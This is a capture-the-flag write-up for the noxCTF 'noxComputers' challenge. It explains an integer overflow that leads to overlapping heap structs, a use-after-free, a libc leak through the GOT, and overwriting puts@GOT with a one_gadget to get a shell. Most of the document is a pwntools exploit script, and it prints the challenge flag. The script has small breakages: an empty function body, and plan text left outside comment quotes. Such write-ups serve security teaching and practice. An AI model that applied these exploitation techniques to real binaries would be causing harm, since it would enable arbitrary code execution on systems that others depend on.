[noxCTF] noxComputers

Challenge by jonathanj

The Challenge

The challenge is basically a computers store service- the user can buy premium user (or multiple users and be eligible for a future discount), buy a computer, return a computer, and show/edit the account details.

The Vulnerability

The vulnerability exists in buy_multiple_premium_users(), in the following functionality

void buy_multiple_premium_users()
    if((unsigned short)(user_count + premiums_amount) > ARRAY_MAX) 
        puts_wrapper("You can't create more than 1024 users :(");

The problem is the fact that user_count + premiums_count (where premiums_count is controlled by the user) can overflow- this allows storing user struct pointers past the users global array.

This bug, along with the fact that even after choosing the premiums_count, the user can still stop adding users at any point in buy_multiple_premium_users(), allowing us to stop whenever we want, and to change the global user_count variable to any value we would like, and thus, access any index up to 65535 from the users array as a user struct.

The Exploit

The exploit consists of a few parts, and they can be broken down to the following points:

1) Allocate a user struct, and buy a computer for that user.

2) Allocate more users using the buy_multiple_premium_users() function, to prepare the user_count global variable to the integer overflow.

3) Allocate a lot of users using buy_multiple_premium_users() again, and make it stop after it overwrites a pointer that overlaps with the first computer pointer inside the computers_array global variable.

4) Edit the details of the last user (the one that overlaps with a computer inside computers_array), such that the money member of that user will be 0 - the money member of the user struct, and the owners member of the computer struct overlap, and by getting a computer to have 0 owners- we can also get it to be free’d later on!

5) Trigger free() on the overlapping user/computer struct, this is done by calling return_computer() with an invalid computer name (this way don’t actually remove the computer from any user’s linked-list, because if we had to, we would’ve crashed due to the way unlink_computer() works).

6) Allocate a new user using buy_multiple_premium_users() - we cannot simply use buy_premium_user() because there’s a validation for the user_count, and even when we use the buy_multiple_premium_users() we have to specify the premiums_count in such a way that we overflow the same check again, otherwise we can not bypass the overflow check. - That allocation has to be allocated very carefully - if we are careful enough, we can get the FREED user struct to overlap with the new allocation’s name member, this allows us a complete control over the old free’d user struct which we can still access!

7) After getting the name member of the new user to overlap with the WHOLE free’d user struct, if we specify the name of the new user struct to be a GOT entry address, when we call show_account_details() for the free’d user we can leak a libc address, and when we call edit_account_details() we can edit a GOT entry - and since we already have a libc-leak, we can just overwrite [email protected] with a one gadget address (luckily, when calling puts(), the rax == NULL is met, and we can use one of the gadgets retrieved by one_gadget)

8) Profit =)

The Leak

As already mentioned in the previous section, the leak is possible when we simply overlap a user struct with a name member of another user struct, since we can edit the name member, we have full control over the struct, allowing us to edit IT’S name member, and to print a value from anywhere we want by triggering show_account_details().

Flow Hijacking

Again- as already mentioned, the flow hijacking is possible when we simply overlap a user struct with a name member of another user struct, and since we can edit the name member, we have full control over the struct, allowing us to edit IT’S name member, and to write any value to anywhere we want by simply triggering edit_account_details().

Exploit Code

The flag is: noxCTF{0ne_int3ger_0v3rflow_t0_rule_th3m_4ll}

from pwn import *

r = process("./noxComputers")

def menu():
	r.recvuntil('choice: ')

def buy_premium(name, money):
	r.sendlineafter('username: ', name)
	r.sendlineafter('account: ', str(money))

def buy_multiple_premiums(amount, actual_amount, name_list, money_list):
	r.sendlineafter('buy: ', str(amount))
	for i in xrange(actual_amount):
		r.sendafter('Y: ', 'x')
		r.sendlineafter(': ', name_list[i])
		r.sendlineafter('user: ', str(money_list[i]))
	if amount != actual_amount:
		r.sendlineafter('Y: ', 'Y')

def buy_computer(user_id, computer_name, manu_name, super_fast, price, would_buy):
	r.sendlineafter('id: ', str(user_id))
	r.sendlineafter('computer name: ', computer_name)
	r.sendlineafter('manufacturer name: ', manu_name)
	r.sendlineafter('(Y/N): ', super_fast)
	r.sendlineafter('pay: ', str(price))
	r.sendlineafter('(Y/N): ', would_buy)

def buy_computer_exists(user_id, computer_name, would_buy):
	r.sendlineafter('id: ', str(user_id))
	r.sendlineafter('computer name: ', computer_name)
	r.sendlineafter('(Y/N): ', would_buy)

def show_details(user_id):
	r.sendlineafter('id: ', str(user_id))
	r.recvuntil('Username: ')
	username = r.recvline().replace('\n','')
	r.recvuntil('money: ')
	money = int(r.recvline().replace('\n',''))
	return (username, money)

def edit_details(user_id, new_name, new_money):
	r.sendlineafter('id: ', str(user_id))
	r.sendlineafter('username: ', new_name)
	r.sendlineafter('account: ', str(new_money))

def return_computer(user_id, computer_name):
	r.sendlineafter('id: ', str(user_id))
	r.sendlineafter('name: ', computer_name)

def exit_program():

if __name__ == "__main__":
					Exploit process:
		1) Add enough premium accounts.
		2) Call 'buy_multiple_premiums' again to cause an overflow.
		3) Overlap the overflow with an IN-USE (computer_bitmaps[i] == 1) computer, and edit it's money such that the money of the overlapping account will be 0.
		4) Return a computer which you don't own --> free's the overlapping user that exists in the `computers_array` due to the overflow.
		5) We can still access that user from the `users` array- we can still access it's name.
		6) Allocate a new user, due to the order of free/alloc, the user struct will overlap with the old FREED `name` field.
		7) This allows us to change the fields of the new user, using the old free'd user struct!
		8) Classic UAF primitive from here since we can edit the user settings.
		9) Partially overwrite a GOT entry using `edit_details()`
	   10) Profit :)


	libc = ELF('./libc-2.23.so')
	print ''

	# --------------------- Step 0 ----------------------------
	# Add a computer that will overlap with the overflowed user
	# ---------------------------------------------------------

	buy_premium('user0', 100)
	buy_computer(0, 'computer0', 'manufacturer0', 'Y', 100, 'Y') # to get computers_bitmap[i] != 0

	# ----------- Step 1 -----------
	#   Add enough Premium Users
	# ------------------------------
	amount = 100
	name_list = [str(num+1) for num in xrange(amount)]
	money_list = [100]*amount
	buy_multiple_premiums(amount, amount, name_list, money_list)

	# ----------- Step 2 -----------
	#   Cause Integer Overflow
	# ------------------------------
	actual_amount = 1060 # This causes an overflow and changes `user_count` to 1152 (==1024+128), which is the index to the first computer in `computers_array`
	name_list = [str(100+num+1) for num in xrange(actual_amount)]
	money_list = [100]*actual_amount
	amount = 65535
	buy_multiple_premiums(amount, actual_amount, name_list, money_list) # overflow and fake a computer
	# ------------------------- Step 3 ------------------------------------
	#   Edit the `money` member of the overlapping user to be 0,
	#   This will change the `owners` member of the computer to be 0.
	# 	And this allows freeing the `user` when calling `return_computer`
	# ---------------------------------------------------------------------
	edit_details(1152, 'pwn', 0) # edit the user to change the `owners` member of the fake computer to be 0
	return_computer(1, 'fake') # trigger free() on forged computer
	# --------------------------- Step 4 ---------------------------------------
	#   Allocate a new user.
	#   The `name` member will overlap with the WHOLE FREED `user struct`.
	#	So, we make the `name` of the new user to have the address of 
	#	A GOT entry, and therefore, the old `name` will point to the GOT.
	# 	(This is true because the `name` is the first element in `user struct`
	# --------------------------------------------------------------------------
	puts_got = 0x604028
	amount = 65536 - (1060+100+1)
	actual_amount = 1
	name_list = [p64(puts_got)]
	money_list = [100]
	# The old struct overlaps with the new string!
	# Therefore, [email protected] will be where the old `char* name` of #1152 was!
	buy_multiple_premiums(amount, actual_amount, name_list, money_list) 	
	# -------------------------- Step 5 --------------------------------------
	# 	Print the details of the FREED user, and we'll leak a libc address,
	#	Change the details of the FREED user, and we'll overwrite the GOT!
	# ------------------------------------------------------------------------
	# -------------------- Libc Leak --------------------------
	# 	  We leak a `puts()` address, and then 
	#     we calculate the libc base and the address of
	#     the one gadget.
	# ---------------------------------------------------------

	username, money = show_details(1152)   # The name string of #1153 overlaps with the struct of #1152!
	libc_leak = u64(username.ljust(8,'\x00'))
	log.info("puts @ 0x%x\n" % libc_leak)
	libc_base = libc_leak - libc.symbols['puts']
	log.info("libc base @ 0x%x\n" % libc_base)

	one_gadget = libc_base + 0x45216
	log.info("one gadget @ 0x%x\n" % one_gadget)

	# -------------------- GOT overwrite ----------------------------
	# 	~ We overwrite [email protected] with a one gadget address,
	#     because the constraint `rax == NULL` is met.
	# ---------------------------------------------------------------
	edit_details(1152, p64(one_gadget), 1) # Changes the `#1152->name` to be the one_gadget, but because THE WHOLE STRUCT overlapped with `#1153->name`, its actually changing [email protected]!